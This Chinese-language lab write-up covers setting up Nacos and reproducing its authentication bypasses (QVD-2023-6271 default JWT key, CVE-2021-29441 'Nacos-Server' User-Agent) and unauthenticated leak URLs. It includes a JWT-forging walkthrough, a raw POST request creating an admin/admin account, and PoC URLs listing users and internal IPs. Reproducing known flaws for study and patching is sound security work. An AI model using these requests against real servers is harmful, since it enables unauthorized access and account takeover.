NACOS搭建及相关漏洞复现

目录

搭建过程

出现问题

解决问题

漏洞复现

身份认证绕过漏洞 (QVD-2023-6271)

漏洞描述

漏洞信息

漏洞影响范围:

漏洞复现

漏洞修复

Nacos权限认证绕过(CVE-2021-29441)

漏洞描述

漏洞影响范围

漏洞复现

漏洞修复

信息泄露

内网IP地址泄露

用户列表泄露


由于不同的漏洞复现需要不同版本的NACOS,这里先搭建2.2.0版本的NACOS

搭建过程

环境:Windows物理主机,不是虚拟机(不过都没啥区别,无论是Windows还是Linux,nacos都提供了)。

下载链接;Releases · alibaba/nacos · GitHub

首先在GitHub上面找到NACOS下载的地方,这里是有多个版本可供选择,我们直接选择2.2.0版本的nacos

NACOS搭建及相关漏洞复现_第1张图片

下载完成之后解压得到文件nacos

NACOS搭建及相关漏洞复现_第2张图片

来到bin目录下打开cmd执行命令startup.cmd -m standalone

如果是Linux的话也是来到bin目录下执行./startup.sh -m standalone

出现问题

它这里一直提示没有为JAVA_HOME配置环境变量,但我已经配置过了还是不行。

NACOS搭建及相关漏洞复现_第3张图片

解决问题

根据网上的方法添加环境变量后无果,找到新的解决办法。

只需要在启动文件startup.cmd中设置变量JAVA_HOME的值为你电脑上的安装目录即可。

NACOS搭建及相关漏洞复现_第4张图片

修改完成后成功启动

NACOS搭建及相关漏洞复现_第5张图片

打开浏览器访问http://部署nacos的ip:8848/nacos

默认账号密码为nacos,nacos。

NACOS搭建及相关漏洞复现_第6张图片

NACOS搭建及相关漏洞复现_第7张图片

漏洞复现

身份认证绕过漏洞 (QVD-2023-6271)

漏洞描述

漏洞原理为开源服务管理平台 Naos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。

漏洞信息

漏洞类型:身份认证绕过

漏洞等级:高危

漏洞编号:NVDB-CNVDB-2023674205

漏洞影响范围:

0.1.0<= Nacos<= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。

在受影响的版本范围内,nacos的token.secret.key值是固定死的,位置在conf下的 application.properties 中。

NACOS搭建及相关漏洞复现_第8张图片

NACOS搭建及相关漏洞复现_第9张图片

漏洞复现

首先构造JWT的值,将配置文件中的KEY那一行复制到下面,勾选base64编码

这里可能会有一个疑问,就是在真实环境下,不能去看对方的配置文件中的key,怎么来构造jwt呢

仔细想想就会知道,这个key是默认的,只要不是管理者手动修改了,默认就是这个。

首先Header中的值不用变,将payload中的sub改成”nacos“,exp换成时间戳,时间需要比当前时间往后,这里建议往后一天。最后的VERIFY SIGNATURE中的密钥改成上面默认的key。并且需要勾选base64编码。

NACOS搭建及相关漏洞复现_第10张图片

这里的时间戳设置需要选择系统时间往后的一个时间,可以往后多算一天,

在线时间戳转换工具

NACOS搭建及相关漏洞复现_第11张图片

接着我们来到burpsuite抓取登录包,账号密码就随便填一个错误的,然后抓取返回包

NACOS搭建及相关漏洞复现_第12张图片

这里用一个错误账号密码去登录,然后选择Response to this request进行抓取返回包。

NACOS搭建及相关漏洞复现_第13张图片

将刚刚获得正确返回包粘贴进来放包即可成功进入后台。

NACOS搭建及相关漏洞复现_第14张图片

NACOS搭建及相关漏洞复现_第15张图片

其实这里不用那么麻烦,直接在抓取登陆包加上token之后放包就进去后台了。刚才的方法有点麻烦了。

NACOS搭建及相关漏洞复现_第16张图片

NACOS搭建及相关漏洞复现_第17张图片

漏洞修复

更新到最新版本的Nacos,或者修改配置文件中token.secret.key的值。

Nacos权限认证绕过(CVE-2021-29441)

漏洞描述

Nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

漏洞影响范围

Nacos <= 2.0.0-ALPHA.1

漏洞复现

这里选取的版本是Nacos2.0.0-ALPHA.1

启动的方法跟刚才一样,也是需要修改启动文件startup.cmd中设置变量JAVA_HOME的值。

NACOS搭建及相关漏洞复现_第18张图片

访问地址http://IP:8848/nacos/v1/auth/users?pageNo=1&pageSize=2

即可查看用户列表,账号为nacos,密码为加盐加密后的值

NACOS搭建及相关漏洞复现_第19张图片

网上找的方法是访问一个地址,然后改post方法,把UA头的值换成Nacos-Server去添加账户。但是我没有成功不知道为啥。就用下面这个数据包才可以成功。

POST /nacos/v1/auth/users HTTP/1.1
Host: 192.168.71.5:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin

这里也是成功的创建了一个账户名为admin,密码为admin的账户

NACOS搭建及相关漏洞复现_第20张图片

再来查看一下账户列表便可以发现admin已经添加上去了。

NACOS搭建及相关漏洞复现_第21张图片

并且也是利用这个新创建的账户成功登录。

NACOS搭建及相关漏洞复现_第22张图片

漏洞修复

升级到最新版本的Nacos

信息泄露

未在网上找寻到相关的版本信息,就是两个访问地址,实战中遇到nacos可访问一下,判断是否存在信息泄露。

内网IP地址泄露

在未登录的情况下访问url,查看nacos默认安装后泄露的内网ip地址,poc:

http://ip:8848/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword

NACOS搭建及相关漏洞复现_第23张图片

用户列表泄露

在未登录的情况下访问url,查看nacos默认安装后泄露的用户列表,poc:

http://ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9

NACOS搭建及相关漏洞复现_第24张图片

你可能感兴趣的:(漏洞复现,Nacos漏洞复现)